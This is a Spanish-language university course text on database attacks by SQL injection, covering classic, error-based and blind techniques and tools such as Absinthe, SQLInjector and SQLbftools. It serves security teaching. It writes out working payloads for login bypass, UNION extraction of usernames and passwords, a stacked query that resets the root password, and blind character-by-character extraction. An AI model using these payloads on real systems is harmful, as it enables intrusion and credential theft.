ataques a bases de datos

Upload: alexis-tqm

Post on 18-Oct-2015

32 views

Category:

Documents


0 download

TRANSCRIPT

  • Ataques a BB.DD., SQLInjection

    Jos Mara Alonso CebrinAntonio Guzmn SacristnPedro Laguna DurnAlejandro Martn Bailn

    PID_00191663

  • CC-BY-NC-ND PID_00191663 Ataques a BB. DD., SQL Injection

    Los textos e imgenes publicados en esta obra estn sujetos excepto que se indique lo contrario a una licencia deReconocimiento-NoComercial-SinObraDerivada (BY-NC-ND) v.3.0 Espaa de Creative Commons. Podis copiarlos, distribuirlosy transmitirlos pblicamente siempre que citis el autor y la fuente (FUOC. Fundacin para la Universitat Oberta de Catalunya),no hagis de ellos un uso comercial y ni obra derivada. La licencia completa se puede consultar en http://creativecommons.org/licenses/by-nc-nd/3.0/es/legalcode.es

  • CC-BY-NC-ND PID_00191663 Ataques a BB. DD., SQL Injection

    ndice

    1. SQL Injection....................................................................................... 51.1. Entorno de explotacin del ataque ............................................ 51.2. Herramienta Priamos .................................................................. 11

    2. Blind SQL Injection........................................................................... 132.1. El parmetro vulnerable .............................................................. 132.2. Cmo se atacan este tipo de vulnerabilidades ............................ 142.3. Mtodos de automatizacin ........................................................ 162.4. Herramientas ............................................................................... 18

    2.4.1. Absinthe ......................................................................... 182.4.2. SQLInjector .................................................................... 192.4.3. SQLbftools ...................................................................... 212.4.4. Bfsql ............................................................................... 222.4.5. SQL PowerInjector ......................................................... 232.4.6. SQLiBF ............................................................................ 232.4.7. Web Inspect ................................................................... 242.4.8. Acunetix Web Vulnerability Scanner ............................ 24

    2.5. Proteccin contra Blind SQL Injection ....................................... 25

    3. Blind SQL Injection basndose en tiempos................................. 273.1. Time-Based Blind SQL Injection ................................................. 283.2. Heavy Queries ............................................................................. 28

    3.2.1. Cmo generar consultas pesadas ................................... 303.2.2. Contramedidas ............................................................... 33

    4. Arithmetic Blind SQL Injection..................................................... 344.1. Remote File Downloading .......................................................... 414.2. Booleanizacin de datos ............................................................. 414.3. Metodologa de trabajo ............................................................... 424.4. Microsoft SQL Server 2000 y 2005 mediante fuentes de datos

    infrecuentes ................................................................................. 444.4.1. Restricciones y permisos para uso de fuentes de

    datos infrecuentes .......................................................... 454.4.2. Extraccin de ficheros ................................................... 47

    4.5. Microsoft SQL Server 2000 mediante opciones de cargamasiva .......................................................................................... 474.5.1. Restricciones y permisos ................................................ 474.5.2. Proceso de la extraccin del fichero .............................. 48

    4.6. Microsoft SQL Server 2005 y 2008 mediante opciones decarga masiva ................................................................................ 504.6.1. Restricciones y permisos ................................................ 514.6.2. Proceso de la extraccin del fichero .............................. 51

  • CC-BY-NC-ND PID_00191663 Ataques a BB. DD., SQL Injection

    5. Ficheros remotos en SQL Inyection............................................... 535.1. Remote File Downloading en MySQL ........................................ 53

    5.1.1. Load_File: Acceso directo a fichero como cadena debytes ............................................................................... 53

    5.1.2. Carga de fichero en tabla temporal ............................... 545.2. Remote File Downloading en Oracle Database ........................... 55

    5.2.1. Los objetos directorio .................................................... 555.2.2. Volcado de fichero a tabla con paquete UTL_FILE........ 565.2.3. Enlazado de fichero mediante External Tables y

    Oracle_loader ................................................................. 585.2.4. Acceso a ficheros binarios mediante el paquete

    DBMS_LOB ..................................................................... 58

    6. Consejos en SQL Injection................................................................ 606.1. Identificacin mediante funciones ............................................. 606.2. Objetivos principales para cada base de datos ............................ 60

    6.2.1. Base de datos Oracle ...................................................... 616.2.2. Base de datos Microsoft SQL Server .............................. 626.2.3. Base de datos DB2 ......................................................... 636.2.4. Base de datos Mysql ...................................................... 64

    6.3. IDS Evasion ................................................................................. 65

    Bibliografa................................................................................................. 67

  • CC-BY-NC-ND PID_00191663 5 Ataques a BB. DD., SQL Injection

    1. SQL Injection

    Mediante la inyeccin SQL un atacante podra realizar entre otras cosas lassiguientes acciones contra el sistema:

    Descubrimiento de informacin (information disclosure): Las tcnicas de in-yeccin SQL pueden permitir a un atacante modificar consultas para ac-ceder a registros y/o objetos de la base de datos a los que inicialmente notena acceso.

    Elevacin de privilegios: Todos los sistemas de autenticacin que utilicencredenciales almacenados en motores de bases de datos hacen que unavulnerabilidad de inyeccin SQL pueda permitir a un atacante acceder a losidentificadores de usuarios ms privilegiados y cambiarse las credenciales.

    Denegacin de servicio: La modificacin de comandos SQL puede llevar ala ejecucin de acciones destructivas como el borrado de datos, objetos ola parada de servicios con comandos de parada y arranque de los sistemas.Asimismo, se pueden inyectar comandos que generen un alto cmputo enel motor de base de datos que haga que el servicio no responda en tiempostiles a los usuarios legales.

    Suplantacin de usuarios: Al poder acceder al sistema de credenciales, esposible que un atacante obtenga las credenciales de otro usuario y realiceacciones con la identidad robada o spoofeada a otro usuario.

    1.1. Entorno de explotacin del ataque

    Los condicionantes necesarios para que se pueda dar en una aplicacin web lavulnerabilidad de inyeccin de comandos SQL son los siguientes:

    Falloenlacomprobacindeparmetrosdeentrada: Se considera pa-rmetro de entrada cualquier valor que provenga desde cliente. En esteentorno se debe asumir un ataque inteligente, por lo que cualquiera deestos parmetros pueden ser enviados con malicia. Se debe asumir tam-bin que cualquier medida de proteccin implantada en el cliente puedefallar. Como ejemplos de parmetros a considerar donde se suelen dar es-tos fallos, tendramos: Campos de formularios: Utilizados en mtodos de llamadas POST Campos de llamada GET pasados por variables. Parmetros de llamadas a funciones Javascript. Valores en cabeceras http.

  • CC-BY-NC-ND PID_00191663 6 Ataques a BB. DD., SQL Injection

    Datos almacenados en cookies.

    Utilizacindeparmetrosenlaconstruccindellamadasabasesdedatos: El problema no reside en la utilizacin de los parmetros en lassentencias SQL, sino en la utilizacin de parmetros que no han sido com-probados correctamente.

    Construccinnofiabledesentencias: Existen diversas formas de crearuna sentencia SQL dinmica dentro de una aplicacin web, que dependendel lenguaje utilizado. A la hora de crear una sentencia SQL dinmica den-tro de una aplicacin web, existen, dependiendo del lenguaje utilizado,diversas maneras. El problema se genera con la utilizacin de una estruc-tura de construccin de sentencias SQL basada en la concatenacin de ca-denas de caracteres, es decir, el programador toma la sentencia como unacadena alfanumrica a la que va concatenando el valor de los parmetrosrecogidos, lo que implica que tanto los comandos como los parmetrostengan el mismo nivel dentro de la cadena. Cuando se acaba de construirel comando no se puede diferenciar qu parte ha sido introducida por elprogramador y qu parte procede de los parmetros.

    Veamos algunos ejemplos:

    1)EjemplodeentornodeextracindeinformacindelabasededatosmedianteconsultasSQL:

    Tabla_Usuarios

    IDUsuario Usuario Clave Nombre NivelAcceso

    0 Root RE$%& Administrador Administrador

    1 Ramon ASFer3454 Ramon Martinez Usuario

    2 Carlos Sdfgre32! Carlos Lucas Usuario

    Ejemplo de tabla de usuarios

    Sobre esta base de datos se crea una aplicacin web que mediante un formu-lario pide a los usuarios las credenciales de acceso:

    Figura 1: Formulario de acceso a usuarios de ejemplo

  • CC-BY-NC-ND PID_00191663 7 Ataques a BB. DD., SQL Injection

    En este entorno suponemos que se recogen los datos y se construye dentro denuestra aplicacin web una consulta SQL, que ser lanzada a la base de datosdel siguiente estilo:

    SqlQuery="Select IDUsuriario from Tabla_Usuarios where Usuario='" || Usuario$

    ||"' AND Clave='" || Clave$ || "';"

    Donde Usuario$ y Clave$ son los valores recogidos en los campos del for-mulario.

    El ataque de Inyeccin SQL en este entorno consistira en formar una consultaSQL que permitiera un acceso sin credenciales.

    a)Ataque1:Accesoconelprimerusuario

    Usuario$=Cualquiera

    Clave$= ' or '1'='1

    La consulta SQL que se formara sera la siguiente:

    "Select IDUsuario from Tabla_Usuarios where Usuario='Cualquiera' and Clave='' or

    '1'='1';"

    Esta consulta permitira el acceso al sistema con el primer usuario que estdado de alta en la Tabla_Usuarios.

    b)Ataque2:Accesoconunusuarioseleccionado

    Usuario$=Cualquiera

    Clave$= ' or Usuario='Matias

    La consulta SQL que se formara sera la siguiente:

    "Select IDUsuario from Tabla_Usuarios where Usuario='Cualquiera' and Clave='' or

    Usuario='Matias';"

    Con lo que solo la fila del usuario Matias cumplira dicho entorno.

    2)EjemplodeentornodeextraccindeinformacindelabasededatosmediantelamodificacindeunaconsultaSQL:

    Tabla_Examenes

    ID Fecha Asignatura Convocatoria Aula

    0 21/02/2007 ArquitecturasAvanzadas

    Febrero 1

    Ejemplo de tabla de exmenes

  • CC-BY-NC-ND PID_00191663 8 Ataques a BB. DD., SQL Injection

    Tabla_Examenes

    ID Fecha Asignatura Convocatoria Aula

    1 22/02/2007 Seguridad Infor-matica

    Febrero 2

    2 17/06/2007 Compiladores Junio 2

    3 01/09/2007 ArquitecturasAvanzadas

    Septiembre 1

    ... ... ... ... ...

    Ejemplo de tabla de exmenes

    Sobre esta tabla, la aplicacin muestra los exmenes mediante un parmetroque selecciona la convocatoria y se accede a la informacin en la base de datoscon una consulta SQL construida de la siguiente forma:

    SqlQuery= "Select Fecha, Asignatura, Aula from Tabla_Examenes where Convocatoria'"

    || Convoatoria$ || "';"

    Figura 2 Resultados sin inyeccin SQL de ejemplo

    El ataque de Inyeccin SQL en este entorno consistira en formar una consultaSQL que permitiera extraer o modificar informacin en la base de datos.

    a)Ataque1:Accesoainformacinprivilegiada

    El atacante modificara el valor del parmetro convocatoria realizando unaconsulta para acceder a los usuarios y contraseas del sistema

    http://www.miservidor.com/muestra_examenes.cod?convocatoria=Febrero'

    union select Usuario, Clave, 99 from Tabla_Usuarios where '1'='1

    Con lo que se formara una consulta SQL de la siguiente forma:

    Select Fecha, Asignatura, Aula from Tabla_Examenes where Convocatoria=' Febrero'

    unin select Usuario, Clave, 99 from Tabla_Usuarios where '1'='1';

  • CC-BY-NC-ND PID_00191663 9 Ataques a BB. DD., SQL Injection

    Y se obtendran los siguientes resultados:

    Figura 3. Resultados con inyeccin SQL de ejemplo

    b)Ataque2:Modificacindelainformacindelabasededatos

    Este ataque se puede realizar:

    Si la cuenta de la base de datos utilizada en la conexin desde la aplicacintiene privilegios para realizar operaciones de manipulacin de datos o de crea-cin de objeto.

    Si el motor de la base de datos soporta ejecucin mltiple de sentencias SQL.

    El atacante modificara el valor del parmetro convocatoria realizando unaconsulta para cambiar la clave del usuario root:

    http://www.miservidor.com/muestra_examenes.cod?convocatoria=Febrero'; Update

    clave:='nueva' from tabla_Usarios where usuario='root

    Con lo que se formara una consulta SQL de la siguiente manera:

    Select Fecha, Asignatura, Aula from Tabla_Examenes where Convocatoria=

    'Febrero'; Update clave:='nueva' from tabla_Usarios where usuario='root';

    Y se le establecera una nueva contrasea al usuario root. Esto puede llegar aafectar a la prestacin del servicio o a los datos que se manejan, pues se puedeinsertar informacin falsa o parar el motor de la base de datos.

    3)Ejemplodeentornodeextraccindeinformacinmediantemensajesdeerror:

    En este entorno suponemos que nos encontramos con una aplicacin quemaneja informacin extrada de una tabla en la base de datos, pero que nuncason mostrados, con lo cual el atacante no podr ver impresos los datos queseleccione con la manipulacin de la consulta SQL.

  • CC-BY-NC-ND PID_00191663 10 Ataques a BB. DD., SQL Injection

    Tabla_Imagenes

    ID Nombre Archivo

    1 Logotipo 1 Logo1.jpg

    2 Logotipo 1 grande Logo1g.jpg

    3 Logo apaisado Logo2.jpg

    ... ... ...

    Ejemplo de tabla de imgenes

    Sobre esta tabla la aplicacin muestra dentro de la pgina el archivo seleccio-nado mediante un parmetro que selecciona el id del archivo con una consul-ta SQL construida de la siguiente manera:

    SqlQuery="Select * from Tabla_Imagenes where id='" || id$ || "';"

    Figura 4. Resultado sin Inyeccin SQL con imgenes de ejemplo

    a)Ataque:Generaunmensajedeerrorquelepermitirverdatosdelabasededatos.

    Para ello, se buscara formar alguno de los siguientes errores:

    Errores matemticos: Permiten extraer informacin mediante el desbor-damiento de los lmites de los formatos numricos. Para ello se convierteel dato buscado a un valor matemtico y se opera para conseguir el des-bordamiento. En el mensaje de error se obtendr el resultado del desbor-damiento que nos permitir conocer el dato buscado.

    Errores deformato: Consiste en la utilizacin implcita de un valor de untipo de dato con otro distinto. Esto generar un error al intentar el motorde base de datos realizar una conversin y no poder realizarla.

    Errores de construccin de la sentencia SQL: Permiten encontrar losnombres de los objetos en la base de datos. Sirven para averiguar nombresde tablas y/o campos de las mismas.

  • CC-BY-NC-ND PID_00191663 11 Ataques a BB. DD., SQL Injection

    En este ataque en concreto vamos a forzar un error de formato mediante lamodificacin del parmetro id de la siguiente forma:

    http://www.miservidor.com/muestra_imagen.cod?id=1 union select Usuario from

    Tabla_Usuarios where IDUsuario=0

    El resultado que se obtendr ser:

    Figura 5. Mensaje de error de ejemplo

    Modificando la consulta se puede extraer la clave o cualquier otra informacinde la base de datos.

    1.2. Herramienta Priamos

    All por el ao 2001, en las conferencias de BlackHat, David Litchfield pre-sentaba un documento titulado Web Application Disassembly with ODBC ErrorMessages en el que se contaba cmo poda sacarse informacin sobre la basede datos de una aplicacin web a partir de los mensajes de error ODBC nocontrolados por el programador.

    En estos primeros documentos la extraccin de informacin se haca utilizan-do la visualizacin de los mensajes de error de los conectores ODBC, an que-daba un ao para que salieran a la luz pblica las tcnicas ciegas (blind).

    Para ello, el objetivo es generar una inyeccin que provoque un error y leer enel mensaje de error datos con informacin sensible.

    Ejemplo:

    Programa.asp?id=218 and 1=(select top 1 name from sysusers order by 1 desc)

    El atributo name de la tabla sysusers en SQL Server es alfanumrico y al rea-lizar la comparacin con un valor numrico se generar un error. Si el progra-mador no tiene controlados esos errores nos llegar a la pantalla un mensajecomo el siguiente:

    Microsoft OLE DB Provider for SQL Server error '80040e07'

    Conversion failed when converting the nvarchar value 'sys' to data type int.

    /Programa.asp, line 8

  • CC-BY-NC-ND PID_00191663 12 Ataques a BB. DD., SQL Injection

    Y se obtiene el primer valor buscado. Despus se vuelve a inyectar pero ahorase cambia la consulta de la siguiente manera, o similar:

    Programa.asp?id=218 and 1=(select top 1 name from sysusers where name

  • CC-BY-NC-ND PID_00191663 13 Ataques a BB. DD., SQL Injection

    2. Blind SQL Injection

    Una de las maneras de realizar estos ataques se basa en ataques a ciegas, esdecir, en conseguir que los comandos se ejecuten sin la posibilidad de verninguno de los resultados. La inhabilitacin de la muestra de los resultadosdel ataque se produce por el tratamiento total de los cdigos de error y laimposibilidad de modificar, a priori, ninguna informacin de la base de datos.Luego, si no se puede alterar el contenido de la base de datos y no se puedever el resultado de ningn dato extrado del almacn, se puede decir que elatacante nunca conseguir acceder a la informacin?

    La respuesta correcta a esa pregunta, evidentemente, es no. A pesar de que unatacante no pueda ver los datos extrados directamente de la base de datos sque es ms que probable que al cambiar los datos que se estn enviando comoparmetros se puedan realizar inferencias sobre ellos en funcin de los cambiosque se obtienen. El objetivo del atacante es detectar esos cambios para poderdeducir cul ha sido la informacin extrada en funcin de los resultados.

    Para un atacante, la forma ms fcil de automatizar esta tcnica es usar unvector de ataque basado en lgica binaria, es decir, en Verdadero y Falso. Este esel vector de ataque en el que nos vamos a centrar en este apartado, las tcnicasde inferencia ciega basada en inyeccin de comandos SQL.

    2.1. El parmetro vulnerable

    El atacante debe encontrar en primer lugar una parte del cdigo de la aplica-cin que no est realizando una comprobacin correcta de los parmetros deentrada a la aplicacin que se estn utilizando para componer las consultas ala base de datos. Hasta aqu, el funcionamiento es similar al resto de tcnicasbasadas en inyeccin de comandos SQL. Encontrar estos parmetros es a vecesms complejo ya que, desde un punto de vista hacker de caja negra, nuncaes posible garantizar que un parmetro no es vulnerable, pues tanto si lo escomo si no lo es, puede que nunca se aprecie ningn cambio en los resultadosaparentes.

    Definimos el concepto de Inyeccin SQL de cambio de comportamien-to cero (ISQL0) como una cadena que se inyecta en una consulta SQLy no realiza ningn cambio en los resultados y definimos InyeccinSQL de cambio de comportamiento positivo (ISQL+) como una cadenaque s que provoca cambios.

  • CC-BY-NC-ND PID_00191663 14 Ataques a BB. DD., SQL Injection

    Veamos unos ejemplos y supongamos una pgina de una aplicacin web deltipo:

    http://www.miweb.com/noticia.php?id=1

    Hacemos la suposicin inicial de que 1 es el valor del parmetro id y dichoparmetro va a ser utilizado en una consulta a la base de datos de la siguientemanera:

    Select campos From tablas Where condiciones and id=1

    Una inyeccin ISQL0 sera algo como lo siguiente:

    http://www.miweb.com/noticia.php?id=1+1000-1000

    http://www.miweb.com/noticia.php?id=1 and 1=1

    http://www.miweb.com/noticia.php?id=1 or 1=2

    En ninguno de los tres casos anteriores estamos realizando ningn cambio enlos resultados obtenidos en la consulta. Aparentemente no.

    Por el contrario, una ISQL+ sera algo como lo siguiente:

    http://www.miweb.com/noticia.php?id=1 and 1=2

    http://www.miweb.com/noticia.php?id=-1 or 1=1

    http://www.miweb.com/noticia.php?id=1+1

    En los tres casos anteriores estamos cambiando los resultados que debe obtenerla consulta. Si al procesar la pgina con el valor sin inyectar y con ISQL0 nosdevuelve la misma pgina, se podr inferir que el parmetro est ejecutandolos comandos, es decir, que se puede inyectar comandos SQL. Ahora bien,cuando ponemos una ISQL+ nos da siempre una pgina de error que no nospermite ver ningn dato. Bien, pues ese es el entorno perfecto para realizar laextraccin de informacin de una base de datos con una aplicacin vulnerablea Blind SQL Injection.

    2.2. Cmo se atacan este tipo de vulnerabilidades

    Al tener una pgina de Verdadero y otra pgina de Falso, se puede crear todala lgica binaria de estas.

    En los ejemplos anteriores, supongamos que cuando ponemos como valor 1en el parmetro id nos da una noticia con el titular Ral convertido en mitodel madridismo, por poner un ejemplo, y que cuando ponemos 1 and 1=2nos da una pgina con el mensaje Error. A partir de este momento se realizaninyecciones de comandos y se mira el resultado.

  • CC-BY-NC-ND PID_00191663 15 Ataques a BB. DD., SQL Injection

    Supongamos que queremos saber si existe una determinada tabla en la basede datos:

    Id= 1 and exists (select * from usuarios)

    Si el resultado obtenido es la noticia con el titular de Ral, entonces podremosinferir que la tabla s existe, mientras que si obtenemos la pgina de Errorsabremos que o bien no existe o bien el usuario no tiene acceso a ella o bien

    no hemos escrito la inyeccin correcta SQL1 para el motor de base de datosque se est utilizando.

    Otro posible motivo de fallo puede ser simplemente que el programador tengael parmetro entre parntesis y haya que jugar con las inyecciones. Por ejem-plo, supongamos que hay un parmetro detrs del valor de id en la consultaque realiza la aplicacin. En ese caso habra que inyectar algo como:

    Id= 1) and (exists (select * from usuarios)

    Supongamos que deseamos sacar el nombre del usuario administrador de unabase de datos MySQL:

    Id= 1 and 300>ASCII(substring(user(),1,1))

    Con esa inyeccin obtendremos si el valor ASCII de la primera letra del nombredel usuario ser menor que 300 y por tanto, podemos decir que esa es unISQL0. Lgicamente deberemos obtener el valor cierto recibiendo la noticiade Ral. Luego iramos acotando el valor ASCII con una bsqueda dicotmicaen funcin de si las inyecciones son ISQL0 o ISQL+.

    Id= 1 and 100>ASCII(substring(user(),1,1)) -> ISQL+ -> Falso

    Id= 1 and 120>ASCII(substring(user(),1,1)) -> ISQL0 -> Verdadero

    Id= 1 and 110>ASCII(substring(user(),1,1)) -> ISQL+ -> Falso

    Id= 1 and 115>ASCII(substring(user(),1,1)) -> ISQL0 -> Verdadero

    Id= 1 and 114>ASCII(substring(user(),1,1)) -> ISQL+ -> Falso

    Luego podramos decir que el valor del primer carcter ASCII del nombre delusuario es el 114.

    Una ojeada a la tabla ASCII y obtenemos la letra r, probablemente de root, pe-ro para eso deberamos sacar el segundo valor, as que inyectamos el siguientevalor:

    Id= 1 and 300>ASCII(substring(user(),2,1)) -> ISQL0 -> Verdadero

    Y vuelta a realizar la bsqueda dicotmica. Hasta qu longitud? Pues averi-gmoslo inyectando:

    (1)Hemos de recordar que SQL apesar de ser un estndar no tienelas mismas implementaciones enlos mismos motores de bases dedatos.

  • CC-BY-NC-ND PID_00191663 16 Ataques a BB. DD., SQL Injection

    Id= 1 and 10>length(user()) ISQL0 o ISQL+?

    Todas estas inyecciones, como se ha dicho en un prrafo anterior, deben ajus-tarse a la consulta de la aplicacin, tal vez sean necesarios parntesis, comillassi los valores son alfanumricos, secuencias de escape si hay filtrado de comi-llas, o caracteres terminales de inicio de comentarios para invalidar partes fi-nales de la consulta que lanza el programador.

    2.3. Mtodos de automatizacin

    A partir de esta teora, en las conferencias de BlackHat USA del 2004, Came-ron Hotchkies present un trabajo sobre Blind SQL Injection Automation Tech-niques en el que propona mtodos de automatizar la explotacin de un pa-rmetro vulnerable a tcnicas de Blind SQL Injection mediante herramientas.Para ello no parte de asumir que todos los errores puedan ser procesados ysiempre se obtenga un mensaje de error, ya que la aplicacin puede que tengaun mal funcionamiento y simplemente haya cambios en los resultados. En supropuesta, ofrece un estudio sobre realizar inyecciones de cdigo SQL y estu-diar las respuestas ante ISQL0 e ISQL+.

    Figura 7: Presentacin en Blackhat USA 2004

    Propone utilizar diferentes analizadores de resultados positivos y falsos en lainyeccin de cdigo para poder automatizar una herramienta. El objetivo esintroducir ISQL0 e ISQL+ y comprobar si los resultados obtenidos se puedendiferenciar de forma automtica o no y cmo hacerlo.

    Bsqueda de palabras clave: Este tipo de automatizacin sera posible siem-pre que los resultados positivos y negativos fueran siempre los mismos. Esdecir, siempre el mismo resultado positivo y siempre el mismo resultadonegativo. Bastara entonces con seleccionar una palabra clave que apare-ciera en el conjunto de resultados positivos y/o en el conjunto de resul-tados negativos. Se lanzara la peticin con la inyeccin de cdigo y seexaminaran los resultados hasta obtener la palabra clave. Es de los msrpidos en implementar, pero exige cierta interaccin del usuario, que de-

  • CC-BY-NC-ND PID_00191663 17 Ataques a BB. DD., SQL Injection

    be seleccionar correctamente cul es la palabra clave en los resultados po-sitivos o negativos.

    Basados en firmas MD5: Este tipo de automatizacin sera vlido para apli-caciones en las que existiera una respuesta positiva consistente, es decir,que siempre se obtuviera la misma respuesta ante el mismo valor correcto(con inyecciones de cdigo de cambio de comportamiento cero) y en elcaso de respuesta negativa (ante inyecciones de cambio de comportamien-to positivo), se obtuviera cualquier resultado distinto del anterior, comopor ejemplo, otra pgina de resultados, una pgina de error genrico, lamisma pgina de resultados pero con errores de procesamiento, etc. Laautomatizacin de herramientas basadas en esta tcnica es sencilla: Se realiza el hash MD5 de la pgina de resultados positivos con inyec-

    cin de cdigo de cambio de comportamiento cero. Por ejemplo: and1=1.

    Se vuelve a repetir el proceso con una nueva inyeccin de cdigo decambio de comportamiento cero. Por ejemplo: and 2=2.

    Se comparan los hashes obtenidos en los pasos a y b para comprobarque la respuesta positiva es consistente.

    Se realiza el hash MD5 de la pgina de resultados negativos con inyec-cin de cdigo de cambio de comportamiento positivo. Por ejemplo,and 1=2.

    Se comprueba que los resultados de los hashes MD5 de los resultadospositivos y negativos son distintos.

    Si se cumple, entonces se puede automatizar la extraccin de informa-cin por medio de hashes MD5.

    Excepciones

    Esta tcnica de automatizacin no sera vlida para aplicaciones que cambian constante-mente la estructura de resultados, por ejemplo, aquellas que tengan publicidad dinmica,ni para aquellas en las que ante un error en el procesamiento devuelvan el control a lapgina actual. No obstante, sigue siendo la opcin ms rpida en la automatizacin deherramientas de Blind SQL Injection.

    Motor de diferencia textual: En este caso se utilizara como elemento dedecisin entre un valor positivo o falso la diferencia en palabras textuales.La idea es obtener el conjunto de palabras de la pgina de resultados po-sitivos y la pgina de resultados negativos. Despus se hace una inyeccinde cdigo con un valor concreto y se obtiene un resultado de palabras.Haciendo un clculo de distancias se vera de cual difiere menos para sabersi el resultado es positivo o negativo. Esto es til cuando el conjunto devalores inyectados siempre tengan un resultado visible en el conjunto deresultados tanto en el valor positivo como en el valor negativo.

    Basados en rboles HTML: Otra posibilidad a la hora de analizar si el re-sultado obtenido es positivo o negativo sera utilizar el rbol HTML de lapgina. Esto funcionara en entornos en los que la pgina de resultadoscorrectos y la pgina de resultados falsos fuera siempre distinta, es decir, lapgina correcta tiene partes dinmicas cambiantes ante el mismo valor y

  • CC-BY-NC-ND PID_00191663 18 Ataques a BB. DD., SQL Injection

    la pgina de errores tambin. En esos casos se puede analizar la estructuradel rbol de etiquetas HTML de las pginas y compararlos.

    Representacin lineal de sumas ASCII: La idea de esta tcnica es obtenerun valor hash del conjunto de resultados sobre la base de los valores ASCIIde los caracteres que conforman la respuesta. Se saca el valor del resultadopositivo y el resultado negativo. Este sistema funciona asociado a una seriede filtros de tolerancia y adaptacin para poder automatizarse.

    Tambin present una herramienta que implementaba el mtodo 4, basado enrboles HTML, y que se llamaba SQueal. Dicha herramienta evolucion haciala que hoy se conoce como Absinthe.

    2.4. Herramientas

    2.4.1. Absinthe

    Utiliza el mismo sistema que se explic en el documento Blind SQL InjectionAtomation Techniques basado en sumas de valores. La herramienta es softwarelibre y est programada en C# .NET, pero con soporte para MAC y para Linuxcon MONO. Es una de las ms completas, con una interfaz muy cuidada ycon soporte para la mayora de las situaciones: intranets con autenticacin,conexiones SSL, uso de cookies, parmetros en formularios, necesidad de com-pletar URL, etc.

    Hay que destacar que esta herramienta est pensada para auditores, y no de-tecta parmetros vulnerables, as que debe ser configurada de forma correcta.No es un wizard que se lanza contra una URL y ya devuelve toda la estructura.

    La herramienta funciona con plugins para diversas bases de datos y a da dehoy tiene soporte para Microsoft SQL Server, MSDE (desktop edition), Oracley Postgres. Los autores de la misma son Nummish y Xeron y tanto su cdi-go fuente como la herramienta estn disponibles en la siguiente URL: http://www.0x90.org/

  • CC-BY-NC-ND PID_00191663 19 Ataques a BB. DD., SQL Injection

    Figura 8. Configurando el servidor vulnerable.

    En la herramienta hay que configurar el tipo de base de datos, la URL, el pa-rmetro vulnerable, el tipo de mtodo utilizado, etc. Una vez configurado co-rrectamente, la herramienta procede a bajarse el esquema de la base de datosutilizando la automatizacin descrita. Como se puede ver, la herramienta sacalos tipos de datos. Para ello realiza consultas a las tablas del esquema sysobjects,syscolumns, etc. Por ltimo extrae los datos de las tablas.

    Como se puede suponer este no es un proceso especialmente rpido, pero alfinal se obtiene toda la informacin.

    2.4.2. SQLInjector

    La primera herramienta que hay que conocer es esta. A raz de los estudiosde David Litchfield y Chrish Anley, ambos de la empresa NGS Software, desa-rrollaron la herramienta SQLInjector. Esta herramienta utiliza como forma deautomatizacin la bsqueda de palabras clave en los resultados positivos. Esdecir, se busca encontrar una palabra que aparezca en los resultados positivosy que no aparezca en los resultados negativos.

    Recordad que el objetivo de las tcnicas de Blind SQL Injection es conseguirinyectar lgica binaria con consultas del tipo y existe esta tabla o y el valorASCII de la cuarta letra del nombre del administrador es menor que 100.Siempre se busca realizar consultas que devuelvan verdad o mentira, con loque la aplicacin al procesarlo devolvera la pgina original (que llamamos deverdad o cierta) o la pgina cambiada (que llamamos de mentira o falsa).

    Para probar si el parmetro es susceptible a Blind SQL Injection, utiliza unsistema basado en inyecciones de cdigo de cambio de comportamiento cerosumando y restando el mismo valor. Es decir, si tenemos un parmetro vulne-

  • CC-BY-NC-ND PID_00191663 20 Ataques a BB. DD., SQL Injection

    rable que recibe el valor 100, el programa ejecuta la peticin con 100 + valor valor. Si el resultado es el mismo, entonces el parmetro es susceptible a ata-ques de SQL Injection.

    Como utiliza bsqueda de palabra clave en resultados positivos, hay que ofre-cerle la palabra clave manualmente, es decir, hay que lanzar la consulta nor-mal y ver qu palabras devuelve el cdigo HTML. Despus tenemos que lanzaruna consulta con algo que haga que sea falso, por ejemplo, con AND 1=0 y verqu palabras aparecen en los resultados de verdad y no aparecen en los falsos(con seleccionar una palabra valdra). El cdigo fuente de esta aplicacin estescrito en Lenguaje C, es pblico y se puede descargar de la web.

    Para ejecutarse se hace con un comando como el siguiente:

    C:\>sqlinjector -t www.ejemplo.com -p 80 -f request.txt -a query -o where -qf

    query.txt -gc 200 -ec 200 -k 152 -gt Science -s mssql

    Donde:

    t: Es el servidor p: Es el puerto f: La aplicacin vulnerable y el parmetro. En un fichero de texto. a: La accin a realizar o: Fichero de salida qf: La consulta a ejecutar a ciegas. En un fichero de texto. gc: Cdigo devuelto por el servidor cuando es un valor correcto ec: Cdigo devuelto por el servidor cuando se produce un error k: Valor de referencia correcto en el parmetro vulnerable gt: Palabra clave en resultado positivo s: Tipo de base de datos. La herramienta est preparada para MySQL, Ora-

    cle, Microsoft SQL Server, Informix, IBM DB2, Sybase y Access.

    Ejemplo de fichero request.txt

    GET /news.asp?ID=#!# HTTP/1.1

    Host: www.ejemplo.com

    Ejemplo de query.txt:

    select @@version

    La aplicacin anterior hay que nombrarla obligatoriamente cuando se hablade tcnicas de Blind SQL Injection, pero hoy en da existen otras muchas al-ternativas. Una especialmente pensada para motores de MySQL es SQLbftools.

  • CC-BY-NC-ND PID_00191663 21 Ataques a BB. DD., SQL Injection

    2.4.3. SQLbftools

    Publicadas por illo en reversing.org en diciembre del 2005. Son un conjun-to de herramientas escritas en lenguaje C destinadas a los ataques a ciegas enmotores de bases de datos MySQL, basadas en el sistema utilizado en SQLIn-jector de NGS Software. El autor ha abandonado la herramienta y a da de hoyes mantenida por la web http://www.unsec.net por dab.

    Est compuesta de tres aplicaciones:

    1) mysqlbf: Es la herramienta principal para la automatizacin de la tcnicade BlindSQL. Para poder ejecutarla se debe contar con un servidor vulnerableen el que el parmetro est al final de la URL y la expresin no sea compleja.

    Soporta cdigos MySQL:

    version() user() now() sytem_user()

    ....

    Su funcionamiento se realiza mediante el siguiente comando:

    Mysqlbf "host" "comando" "palabraclave"

    Donde:host es la URL con el servidor, el programa y el parmetro vulnerable.Comando es un comando a ejecutar de MySQL.Palabraclave es el valor que solo se encuentra en la pgina de resultado posi-tivo.

    En la siguiente imagen vemos cmo lanzamos la aplicacin contra una basede datos vulnerable y podemos extraer el usuario de la conexin.

    Figura 9: Extraccin user()

  • CC-BY-NC-ND PID_00191663 22 Ataques a BB. DD., SQL Injection

    Como se puede ver, el programa ha necesitado 230 peticiones para sacar 18bytes. En la siguiente imagen se ve cmo extraer la versin de la base de datos:

    Figura 10. Extraccin version()

    2) mysqlget: Es la herramienta pensada para descargar ficheros del servidor.Aprovechando las funciones a ciegas y los comandos del motor de base dedatos, se puede ir leyendo letra a letra cualquier fichero del servidor.

